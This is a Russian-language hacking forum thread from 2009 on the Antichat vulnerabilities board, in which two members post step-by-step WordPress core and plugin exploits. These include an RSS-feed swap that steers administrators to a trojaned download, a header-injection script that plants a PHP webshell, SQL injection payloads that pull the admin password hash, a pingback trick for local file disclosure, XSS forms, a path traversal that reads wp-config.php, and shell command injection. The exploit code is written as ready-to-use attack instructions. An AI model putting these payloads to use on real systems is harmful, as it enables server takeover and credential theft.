ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Подмена RSS-фидов в Dashboard
  #111  
Старый 27.05.2009, 20:04
Аватар для M4g
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию Подмена RSS-фидов в Dashboard

2. Подмена RSS-фидов в Dashboard (2.5<=WordPress<=2.6.5)

В конце прошлого года я нашел еще один занимательный баг в WordPress, который заключался в подмене RSS-лент на главной странице админки блога.
Итак, в Dashboard содержатся следующие ленты новостей: новости плагинов, incoming links, новости devblog c wordpress.org и новости "Планеты WordPress".
Начиная с версии 2.5, к каждому фиду прикреплена кнопочка "Edit", что позволяет администратору блога редактировать эти пресловутые фиды, заменяя их на любые свои. Но разработчики снова проморгали тот факт, что в функции редактирования фидов не существует никакой проверки прав (в который раз поражаюсь невнимательности девелоперов).
Теперь смотри: скопируй ленту новостей с девблога официального сайта вордпресса, затем вставь в нее в качестве первого поста объявление о security-патче (или просто новой версии) блога. В посте, естественно, в ссылке на скачку укажи свой протрояненный дистрибутив вордпресса.
Затем положи свой подготовленный фид на какой-нибудь сервер и используй следующий html-код для подмены рсс-ленты девблога на свою:
Код:
<form action="http://lamer.com/wp265/wp-admin/" method="post"> 
<input name="widget-rss[1][url]" type="text" value="http://ссылка_на_наш_evilrss.com/feed.xml" /> 
<input name="widget-rss[1][title]" type="text" value="Заголовок рсс" /> 
<input name="widget-rss[1][items]" value="сколько показывать постов в рсс" /> 
<input name="widget-rss[1][show_summary]" type="checkbox" value="1" checked="checked"/> 
<input name="widget-rss[1][show_author]" type="checkbox" value="1" /> 
<input name="widget-rss[1][show_date]" type="checkbox" value="1" checked="checked"/> 
<input type="hidden" name="widget-rss[1][submit]" value="1" /> 
<input type='hidden' name='sidebar' value='wp_dashboard' /> 
<input type='hidden' name='widget_id' value='dashboard_primary' /> 
<input type='submit' value='Save' /> 
</form>
В итоге, ты увидишь на главной странице админки блога свой evil-rss
Ах, да, для использования этой уязвимости необходимы следующие условия:
1. Открытая регистрация на блоге;
2. Версии движка от 2.5 до 2.6.5 включительно.
 
Ответить с цитированием

WordPress Snoopy Remote Code Execution
  #112  
Старый 27.05.2009, 20:07
Аватар для M4g
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию WordPress Snoopy Remote Code Execution

3. WordPress Snoopy Remote Code Execution (2.6.3<=WordPress<=2.6.5)

Теперь настало время сделать еще один реверанс в сторону предыдущей статьи. Как ты, наверное, помнишь, WordPress 2.5.x-2.6.x позволял любому зарегистрированному пользователю с легкостью подменять RSS-фиды в Dashboard. Раскопав этот замечательный баг немного глубже, мы с легкостью сможем добиться выполнения произвольного кода на сервере, где установлен блог
Итак, если ты читал мою статью за январь сего года, то должен знать об обнаруженной забугорными кодокопателями code exec уязвимости в классе Snoopy, который присутствует также и в вордпрессе. Сама уязвимость в вордпрессовском Snoopy была пропатчена с помощью escapeshellcmd еще в 1.5.x ветке, но, тем не менее, разработчики взяли и испортили вполне работоспособный код непонятным патчем в версии 2.6.3.
Я догадываюсь, чем они думали, смотря на пост девблога с такими словами:
Цитата:
A vulnerability in the Snoopy library was announced today. WordPress uses Snoopy to fetch the feeds shown in the Dashboard. Although this seems to be a low risk vulnerability for WordPress users, we wanted to get an update out immediately.
А также при сравнении кода Snoopy из WordPress <= 2.6.2:
Код:
exec(escapeshellcmd($this->curl_path." -D \"$headerfile\"".$cmdline_params." \"".$safer_URI."\""),$results,$return);
с кодом Snoopy из WordPress <= 2.6.5:
Код:
exec($this->curl_path." -k -D \"$headerfile\"".$cmdline_params." \"".escapeshellcmd($URI)."\"",$results,$return);
Второй код - это официальный патч разработчиков Snoopy, который закрывает предыдущий code exec (но не закрывает новый
Забавно, не правда ли? Зачем патчить то, что и так было неплохо пропатчено? Ответы на эти вопросы мы вряд ли узнаем.
Тем не менее, такая халатность разработчиков открыла мне путь к замечательной уязвимости. Но обо всем по порядку
1. Способом из первой части статьи редактируй любую RSS-ленту на главной странице админки, причем адрес ставь на свой хитрый скрипт, например, http://lamer.com/code-exec.php;
2. Скрипт code-exec.php должен содержать следующий код:
Код:
<?php
header('set-cookie: `echo \'<?php system($_GET[aa]); ?>\' > ../wp-content/test.php`=cooka');
header("Location: https://chto-ugodno.com/?feed=rss2");
?>
После совершения этих нехитрых действий на нужный блог в ./wp-content/test.php зальется шелл
Теперь давай разберем, где и почему это работает.
1. Это работает только на WordPress 2.6.3, 2.6.5 (2.6.4 просто не было, а в 2.7 Snoopy уже практически не используется) с открытой регистрацией, необходимой для редактирования рсс-фидов;
2. Это работает только на системах, где curl установлен в /usr/local/bin/curl (наиболее распространенная система с таким конфигом - FreeBSD), так как этот самый пресловутый путь жестко прописан в ./wp-includes/class-snoopy.php плюс бинарник курла проверяется на существование и исполняемость:
Код:
if(!$this->curl_path)
	return false;
if(function_exists("is_executable"))
if (!is_executable($this->curl_path))
return false;
3. Это работает, потому что Snoopy поддерживает переадресацию (до 5 раз по дефолту), во время которой он может установить кукисы и другие хэдеры, которые пошлет серверный скрипт. А, как мы можем понять из псевдопатча, над фильтрацией хэдеров при передаче их в exec() никто, конечно же, не задумывался
4. Это работает не только в кукисах, но и во многих других заголовках, например, мы сможем передать произвольный код в заголовке HOST следующим образом:
Код:
<?php
header("Location: https://lal`my evil command`.com");
?>
 
Ответить с цитированием

Pingback SQL injection
  #113  
Старый 27.05.2009, 20:10
Аватар для M4g
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию Pingback SQL injection

4. Pingback SQL Injection (2.x<=WordPress<=2.5.1)

Так уж сложилось, что наибольшее число уязвимостей WordPress пришлось как раз-таки не технологии Pingback и Trackback.
Вот и на этот раз, копаясь в функциях, отвечающих за пинги, я нашел сразу 2(!) фрагментированные sql-инъекции во всех версиях движка до 2.5.1 включительно и правами author/editor (WordPress MU also affected).
Итак, для наглядности возьмем подопытный движок за номером 2.3.3.
Открывай ./wp-includes/post.php и находи в нем такой код:
Код:
 function add_ping($post_id, $uri) { // Add a URL to those already pung 
    global $wpdb; 
    $pung = $wpdb->get_var("SELECT pinged FROM $wpdb->posts WHERE ID = $post_id"); 
    $pung = trim($pung); 
    $pung = preg_split('/\s/', $pung); 
    $pung[] = $uri; 
    $new = implode("\n", $pung); 
    $new = apply_filters('add_ping', $new); 
    return $wpdb->query("UPDATE $wpdb->posts SET pinged = '$new' WHERE ID = $post_id"); 
}
Небольшие раскопки дают понять, что фильтра "add_ping" не существует в коде движка.
Получается, что данные из первого запроса подставляются во второй запрос без какой-либо фильтрации!
А теперь о способе эксплуатации данной уязвимости. Запасись терпением
Чтобы использовать баг, тебе необходимо две инсталляции ВордПресса:
1. Все равно какой версии. Создай новый пост с любым тайтлом и с содержимым:
Код:
<a href="http://ВТОРОЙ_БЛОГ/?p=[НОМЕР_ПОСТА]">pingme</a>
Запомни адрес созданного поста (пусть, например, он будет http://lamer/wp1/?p=2)
2.Во втором блоге ветки 2.3.x-2.5.1 создай пост с любым содержанием и любым тайтлом, а в поле "Send trackbacks to:" пиши:
Код:
test',post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered='blah
Теперь сохраняй пост.
Снова заходи в редактирование этого поста, но теперь редактируй само его содержимое и вставляй туда ссылку в html-формате на пост из первого блога
Код:
<a href="http://lamer/wp1/?p=2">pingme</a>
Готово! Сохраняйся, переходи на страницу нашего поста и наслаждайся результатами выполнения скули в виде хеша и пароля админа
 
Ответить с цитированием

Trackback SQL injection
  #114  
Старый 27.05.2009, 20:11
Аватар для M4g
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию Trackback SQL injection

5. Trackback SQL Injection (2.x<=WordPress<=2.5.1?)

Вторая SQL-инъекция присутствует уже именно в механизме Трэкбэков и выглядит не так ужасно
Открывай файл ./wp-includes/comment.php и находи в нем такой код:
Код:
 function do_trackbacks($post_id) { 
... 
    $to_ping = get_to_ping($post_id); 
... 
    if ( $to_ping ) { 
        foreach ( (array) $to_ping as $tb_ping ) { 
            $tb_ping = trim($tb_ping); 
            if ( !in_array($tb_ping, $pinged) ) { 
                trackback($tb_ping, $post_title, $excerpt, $post_id); 
                $pinged[] = $tb_ping; 
            } else { 
                $wpdb->query("UPDATE $wpdb->posts SET to_ping = TRIM(REPLACE(to_ping, '$tb_ping', '')) WHERE ID = '$post_id'"); 
            } 
        } 
    } 
}
Здесь снова наблюдаем такую же ситуацию: переменная $to_ping подставляется в следующий запрос без какой-либо фильтрации.
Использовать эту SQL-инъекцию очень просто:
1. Создавай новый пост, в "Send trackbacks to:" вставляй следующее:
Код:
test','')),post_title=(select/**/concat(user_login,':',user_pass)/**/from/**/wp_users/**/where/**/id=1),post_content_filtered=TRIM(REPLACE(to_ping,'blah
2. Сохраняй пост, заходи в редактирование вновь созданного поста и опять вставляй туда же тот же самый код;
3. Сохраняйся и наблюдай в тайтле поста логин и пароль админа
 
Ответить с цитированием

get_bookmarks SQL injection
  #115  
Старый 27.05.2009, 20:15
Аватар для M4g
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию get_bookmarks SQL injection

6. get_bookmarks SQL Injection (2.x<=WordPress<=2.7.1 #в последних версиях уязвимые функции без изменений, но "injection point" link-manager.php залатан от описанного способа#)

Не могу не поделиться с тобой еще одной забавной SQL-инъекцией, которая присутствует во всех версиях движка, начиная с 2.3.x и заканчивая последней на данный момент 2.7.1. Для использования инъекции необходимы права "manage_links".
Для теста снова возьмем WordPress 2.3.3.
Итак, открывай ./wp-admin/link-manager.php, в этом файле присутствует следующий код:
Код:
get_bookmarks( "category=$cat_id&hide_invisible=0&orderby=$sqlorderby&hide_empty=0" );
Начиная от этого кода, попробуем провести небольшой реверсинг:
./wp-includes/bookmark.php
Код:
function get_bookmarks($args = '') {
...

	$r = wp_parse_args( $args, $defaults );
	extract( $r, EXTR_SKIP );
...
	if ( ! empty($category_name) ) {
		if ( $category = get_term_by('name', $category_name, 'link_category') )
			$category = $category->term_id;
	}
...
./wp-includes/formatting.php
Код:
function wp_parse_args( $args, $defaults = '' ) {
	if ( is_object($args) )
		$r = get_object_vars($args);
	else if ( is_array( $args ) )
		$r =& $args;
	else
		wp_parse_str( $args, $r );

	if ( is_array( $defaults ) )
		return array_merge( $defaults, $r );
	else
		return $r;
}
function wp_parse_str( $string, &$array ) {
	parse_str( $string, $array );
	if ( get_magic_quotes_gpc() )
		$array = stripslashes_deep( $array );
	$array = apply_filters( 'wp_parse_str', $array );
}
./wp-includes/taxonomy.php
Код:
function get_term_by($field, $value, $taxonomy, $output = OBJECT, $filter = 'raw') {
...
	} else if ( 'name' == $field ) {
		// Assume already escaped
		$field = 't.name';
...
	$term = $wpdb->get_row("SELECT t.*, tt.* FROM $wpdb->terms AS t INNER JOIN $wpdb->term_taxonomy AS tt ON t.term_id = tt.term_id WHERE tt.taxonomy = '$taxonomy' AND $field = '$value' LIMIT 1");
На этот раз разработчики WordPress не учли, что:
1. Функция parse_str проводит свои параметры через urldecode, так что какая-либо фильтрация идет лесом (плюс wp_parse_str дополнительно проводит наши данные через stripslashes);
2. В get_bookmarks() мы сможем передать дополнительные параметры для parse_str с помощью амперсанда (%26 в urlencode).
Отсюда, как логичный вывод, следует blind sql-инъекция:
Код:
http://lamer.com/wp233/wp-admin/link-manager.php?cat_id=all%26category_name=0%2527+union+select+1,2,3,4,5,6,7,8,9,10+from+wp_users+where+1=1/*&order_by=order_url&action=Update+%C2%BB
Здесь такие условия:
а) 1=1 - ничего не отображается;
б) 1=2 - отображается список ссылок блога.
 
Ответить с цитированием

Подмена slug в пермалинке любого поста
  #116  
Старый 27.05.2009, 20:18
Аватар для M4g
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию Подмена slug в пермалинке любого поста

7. Подмена slug в пермалинке любого поста (1.5<=WordPress<=2.7.1)

Итак, представь, что на нужном нам блоге присутствует пост с адресом http://lamer/wp233/2009/03/20/hello-world/. Ты хочешь насолить/подшутить над админом и сделать так, чтобы этот пост имел еще и адрес вроде http://lamer/wp233/2009/03/20/this-is-a-sucker-post/. Разработчики вордпресса с радостью предоставляют тебе такую возможность! Но вот что это: баг или фича, я не знаю
Для начала давай детально разберем механизм постинга комментария в последней на момент написания статьи версии 2.7.1.
1. Файлик wp-comments-post.php (а также wp-trackback.php), через который проходят все комментарии имеет в себе следующий код:
Код:
$commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'comment_parent', 'user_ID');
$comment_id = wp_new_comment( $commentdata );
2. Эту функцию мы можем легко отыскать в ./wp-includes/comment.php:
Код:
function wp_new_comment( $commentdata ) 
{
...
	$comment_ID = wp_insert_comment($commentdata);
...
}
3. Там же проводим небольшой реверсинг:
Код:
function wp_insert_comment($commentdata) 
{
...
	if ( $comment_approved == 1)
		wp_update_comment_count($comment_post_ID);

	return $id;
}
function wp_update_comment_count($post_id, $do_deferred=false) 
{
...
	elseif ( $post_id ) {
		return wp_update_comment_count_now($post_id);
	}
}
function wp_update_comment_count_now($post_id) 
{
...
	do_action('edit_post', $post_id, $post);
	return true;
}
4. Action edit_post определен в ./wp-includes/default-filters.php
Код:
add_action('edit_post', 'wp_check_for_changed_slugs');
5. Находим нужную нам функцию в ./wp-includes/post.php
Код:
function wp_check_for_changed_slugs($post_id) {
	if ( !isset($_POST['wp-old-slug']) || !strlen($_POST['wp-old-slug']) )
...
	// if we haven't added this old slug before, add it now
	if ( !count($old_slugs) || !in_array($_POST['wp-old-slug'], $old_slugs) )
		add_post_meta($post_id, '_wp_old_slug', $_POST['wp-old-slug']);
...
}
6. И, собственно, зачем весь этот код нам был нужен, ./wp-includes/query.php:
Код:
function wp_old_slug_redirect () 
{
...
		$query = "SELECT post_id FROM $wpdb->postmeta, $wpdb->posts WHERE ID = post_id AND meta_key = '_wp_old_slug' AND meta_value='" . $wp_query->query_vars['name'] . "'";
...
		wp_redirect($link, '301'); // Permanent redirect
		exit;
	endif;
}
Из анализа вышеприведенного кода следует вывод: если в бд для определенного поста присутствует значение "_wp_old_slug", то по этому самому значению проводится редирект на настоящий адрес поста. Чтобы добавить это значение, твой комментарий должен быть зааппрувлен. Как оставлять комментарии без проверки модератора, ты уже знаешь по первой части статьи Теперь, наконец-то, готовый эксплойт для нашей шутки:
Код:
<html>
<form action="http://lamer.com/wp/wp-trackback.php?p=[ID_ПОСТА]" method="post">
Тайтл: <input name="title" value="commenter"/><br/>
URL:<input name="url" value="http://%/la.com"/><br/>
Comment:<input name="excerpt" value=""/><br/>
Slug:<input name="wp-old-slug" value=""/><br/>
<input name="blog_name" value="Blog" /><br/>
<input type="submit" value="ok"/>
</form>
</html>
В поле "Slug" вставляй новое имя для подходящего поста и показывай ссылку админу, наблюдая за его реакцией
 
Ответить с цитированием

wp-app sql injection
  #117  
Старый 27.05.2009, 20:23
Аватар для M4g
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию wp-app sql injection

9. wp-app sql injection (2.2<=WordPress<=2.2.3)

Ну и на закуску, пропущенная всеми древняя уязвимость от Alexander Concha (зато уязвимая функция и сейчас присутствует в вордпрессе без изменений
1. ./wp-includes/atomlib.php
Код:
function xml_escape($string)
{
	 return str_replace(array('&','"',"'",'<','>'), 
		array('&','"',''','<','>'), 
		$string );
}
2. Эксплойт с правами edit_posts
Код:
<?php
$site='lamer.com';
$path='/wp223/wp-app.php?action=/post/1'; //тут айди поста
$user='editor'; //логин на блоге
$passwd='editor'; //пароль на блоге 

$auth=base64_encode($user.":".$passwd);
$fp = fsockopen($site, 80, $errno, $errstr, 30);	
$data='<feed>
    <entry>
        <id>http://lamer.com/wp223/2009/03/01/hello-world/</id>
        <title type="html">test\</title>
        <summary type="html">,post_name=(select concat(user_login,0x3a,user_pass) from wp_users where ID=1) where id=1/*</summary>       
    </entry>
</feed>';

$out = "PUT $path HTTP/1.1\r\n";
$out .= "Host: $site\r\n";
$out .= "Content-Type: application/atom+xml\r\n";
$out .= "Connection: Close\r\n";
$out .= "User-Agent: Opera\r\n";
$out .= "Authorization: Basic $auth\r\n";
$out .= "Content-Length: ".strlen($data)."\r\n\r\n";  
fwrite($fp, $out.$data);
fclose($fp);
?>

Последний раз редактировалось M4g; 27.05.2009 в 20:29..
 
Ответить с цитированием

WordPress curl information disclosure
  #118  
Старый 27.05.2009, 20:51
Аватар для M4g
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию WordPress curl information disclosure

8. WordPress curl information disclosure (2.7<=WordPress<=2.7.1)

Представляю твоему вниманию очередную уязвимость WordPress (найденную не без помощи Электа), которая заключается в проверке существования любого файла на уязвимом блоге. Подвержены все версии движка, начиная с 2.7.
Для начала нужно сказать, что это не совсем уязвимость вордпресса, а, скорее, фича curl, php-библиотеку которого как раз и юзает WordPress вместо ушедшего в небытие Snoopy.
Итак, уязвимость курла заключается в том, что он с радостью может прочитать для тебя не только удаленные файлы по http, но и локальные с помощью префикса "file://"! Но, как правило, префиксы проверяются скриптами еще на входе, так что, казалось бы, "file://" заюзать невозможно. Однако, никто не подумал о том, что curl поддерживает переадресацию с помощью флага "CURLOPT_FOLLOWLOCATION". То есть, подставив курлу вполне обычный http, на выходе мы можем получить чтение произвольного локального файла (подробное advisory от первооткрывателя ищи в сносках)! В вордпрессе множество файлов юзают класс ./wp-includes/http.php, но сейчас мы рассмотрим лишь один из наиболее доступнных pre-auth способов эксплуатациии баги (найти другие способы в админке - твое домашнее задание
Для начала рассмотрим некоторые особенно важные для эксплуатации бага куски кода в последней версии вордпресса (2.7.1):
1. ./wp-includes/http.php
Код:
class WP_Http_Curl {
	function request($url, $args = array()) {
		if ( !ini_get('safe_mode') && !ini_get('open_basedir') )
			curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, true );
Да-да! Ты видишь тот самый флаг, отвечающий за поддержку редиректа!
Дальше опустим некоторый заумный код, но скажу лишь, что по дефолту (всего возможны 4 варианта) в качестве транспорта http данных вордпресс выбирает курл:
Код:
function wp_remote_get($url, $args = array()) {
	$objFetchSite = _wp_http_get_object();

	return $objFetchSite->get($url, $args);
}
2. Функция, приведенная выше, используется в ./wp-includes/functions.php:
Код:
function wp_remote_fopen( $uri ) {
...
	$response = wp_remote_get( $uri, $options );
...
}
3. И, наконец, эта же функция используется в уже полюбившемся тебе интерфейсе xmlrpc:
Код:
function pingback_ping($args) {
...
		$pagelinkedfrom = $args[0];
		$pagelinkedto   = $args[1];
...
		// Let's check the remote site
		$linea = wp_remote_fopen( $pagelinkedfrom );
...
Теперь у нас есть все необходимое для написания эксплойта, к чему мы сейчас и приступим
Как ты уже понял, действовать мы будем через механизм пингбэков, про который я уже неоднократно рассказывал в предыдущих номерах ][.
Для работы нам понадобятся 2 файла, доступных по http. Например, такие: http://lamer.com/ping1/index.php и http://lamer.com/ping2/index.php.
А теперь, предположив, что адрес нашего блога lamer.com/blog и что тестовым стендом является винда, начнем работу над необходимыми файлами:
1. ./ping1/index.php
Код:
<?php
header("<title>Exploit</title><a href="http://lamer.com/ping2/?p=1#lamer.com/blog">Curl</a>");
header("Location: file:///c:\boot.ini", 302);
?>
2. ./ping2/index.php
Код:
<a href="http://lamer.com/ping1/?p=2">Ping2</a>
В этом примере первый файл сможет пропинговать второй благодаря еще одной недоработке вордпресса. Смотри в механизм пингов xmlrpc.php:
Код:
// Check if the page linked to is in our site
$pos1 = strpos($pagelinkedto, str_replace(array('http://www.','http://','https://www.','https://'), '', get_option('home')));
if( !$pos1 )
	return new IXR_Error(0, __('Is there no link to us?'));
В этой проверке не нужно, чтобы второй пингуемый сайт обязательно был текущим блогом, так как мы можем обойти проверку, вставив адрес этого самого блога, например, в конце URL после решетки.
Теперь у нас все готово для проверки наличия файла c:\boot.ini на тестируемой системе
Для эксплуатации уязвимости тебе необходимо лишь послать следующий POST-пакет для сервера xmlrpc:
Код:
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://lamer.com/ping1/?p=2</string></value></param>
<param><value><string>http://lamer.com/ping2/?p=[ИД_СУЩЕСТВУЮЩЕГО_ПОСТА_НА_БЛОГЕ]#lamer.com/blog</string></value></param>
</params>
</methodCall>
После отсылки пакета ты сможешь получить 2 ответа от сервера:
1. Если файл c:\boot.ini существует, то блог пришлет такой ответ
Цитата:
Pingback from http://lamer.com/ping1/?p=2 to http://lamer.com/ping2/?p=1#lamer.com/blog registered. Keep the web talking! :-)
2. Если же такого файла нет, то жди такого ответа
Цитата:
The source URL does not exist.
Кстати, этим способом вполне было бы возможно прочитать содержимого любого файла системы, если бы пингбэк не урезался до очень малого количества символов. Так что в комментарии-пингбэке ты увидишь всего лишь что-то вроде этого:
Цитата:
[...] Server: Apache/2.2.4 (Win32) mod_ssl/2.2.4 OpenSSL/0.9.8d PHP/5.2.4 X-Powered-By: PHP/5.2.4 popa: 111 Location: file:///c:boot.ini Content-Length: 0 Connection: close Content-Type: text/html; [...]
Содержимое c:\boot.ini остается где-то под катом
Описанный способ эксплуатации данной уязвимости не является единственным. В админке ты сможешь найти и другие вызовы функции wp_get_http(), которые и позволят тебе читать файлы на системе. Найти их - уже твоя задача

----
З.Ы. Спасибо Elekt за то, что навел меня на эту уязвимость)
З.З.Ы. На сегодняшний день в WordPress 2.7.1-2.8beta2, кроме описанных выше, есть еще, по крайней мере, 2 серьезнейшие 0day уязвимости)
 
Ответить с цитированием

Плагины Wordpress
  #119  
Старый 16.06.2009, 11:34
Аватар для oRb
oRb
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме:
7875940

Репутация: 2362
По умолчанию Плагины Wordpress

WPML Multilingual CMS
Version: 1.0.0
Last Updated: 2009-6-9
Downloads: 9,424
XSS (PoC)
Код:
<div style="display:none;">
<form action='http://wordpress/wp-content/plugins/sitepress-multilingual-cms/ajax.php?icl_ajx_action=set_default_language' method='post' target="ifr" name="xfrm">
<input name="lang" type="text" value="<script>alert(document.cookie)</script>" />
<input type='submit'>
</form>
<iframe src="" name="ifr" width="1" height="1"></iframe>
<script>
	document.xfrm.submit();
	document.xfrm.lang.value="en";
	setTimeout('document.xfrm.submit()', 1000);
</script>
</div>
PHPINFO
Код:
http://wordpress/wp-content/plugins/sitepress-multilingual-cms/inc/php-version-check.php?icl_phpinfo=1
XSS (register_globals = On)
[CODE]http://wordpress/wp-content/plugins/sitepress-multilingual-cms/menu/language-selector.php?w_this_lang
Код:
="><script>alert(document.cookie)</script>
http://wordpress/wp-content/plugins/sitepress-multilingual-cms/modules/absolute-links/management-page.php?total_posts_pages="><script>alert(document.cookie)</script>
__________________
включи голову
 
Ответить с цитированием

  #120  
Старый 16.06.2009, 12:17
Аватар для oRb
oRb
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
Провел на форуме:
7875940

Репутация: 2362
По умолчанию

UnGallery
Version: 0.8
Updated: 2009-6-11
Downloads: 226
Remote File Disclosure
PHP код:
if ($_GET['pic']) {
    
$filename $_GET['pic'];
    
$len filesize($filename);
    
$lastslash =  strrpos($filename"/");
    
$name =  substr($filename$lastslash 1);   

    
header("Content-type: image/jpeg;\r\n");
    
header("Content-Length: $len;\r\n");
    
header("Content-Transfer-Encoding: binary;\r\n");
    
header('Content-Disposition: inline; filename="'.$name.'"');    //  Render the photo inline.
    
readfile($filename);

Код:
$ curl http://wordpress/wp-content/plugins/ungallery/source.php?pic=../../../wp-config.php
Shell Command Execution
PHP код:
$dir "wp-content/plugins/ungallery/pics/" $_GET['zip'];

// Create the arrays with the dir's image files
$dp opendir($dir);
while (
$filename readdir($dp)) {
    if (!
is_dir($dir."/pics/".$gallery"/"$filename))  {                                      // If it's a file, begin
        
$pic_types = array("JPG""jpg""GIF""gif""PNG""png");         
        if (
in_array(substr($filename, -3), $pic_types)) $pic_array[] = $filename;                // If it's a image, add it to pic array
    
}
}
foreach (
$pic_array as $filename) {
    
$media_files $media_files " " $dir "/" $filename;
}

$output = `zip -u -j $dir/pics.zip $media_files`;

print 
"<pre>$output</pre>";
print 
'Complete. The file can be downloaded <a href="./wp-content/plugins/ungallery/source.php?zip=pics/' $_GET['zip'] . '/pics.zip">here</a>';
print  
'<br><br>You can return to the gallery <a href="./gallery?gallerylink=' $_GET['zip'] .'">here.</a>'
Код:
http://wordpress/wp-content/plugins/ungallery/zip.php?zip=non_existing_dir+non_existing_file;ls;pwd;
ps: Тут же можно провернуть XSS
__________________
включи голову

Последний раз редактировалось oRb; 16.06.2009 в 16:32..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов it's my Сценарии/CMF/СMS 184 15.06.2010 11:10
[ Обзор уязвимостей PHP-Nuke ] [53x]Shadow Сценарии/CMF/СMS 42 07.05.2010 19:07
[ Обзор уязвимостей SLAED CMS ] _kREveDKo_ Сценарии/CMF/СMS 20 01.11.2009 14:28
ОБЗОР УЯЗВИМОСТЕЙ БЕСПЛАТНЫХ ПОЧТОВЫХ СЕРВИСОВ nike57 E-Mail 4 05.05.2006 22:03
Статья обзор уязвимостей бесплатных почтовых сервисов markel E-Mail 3 12.09.2005 10:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ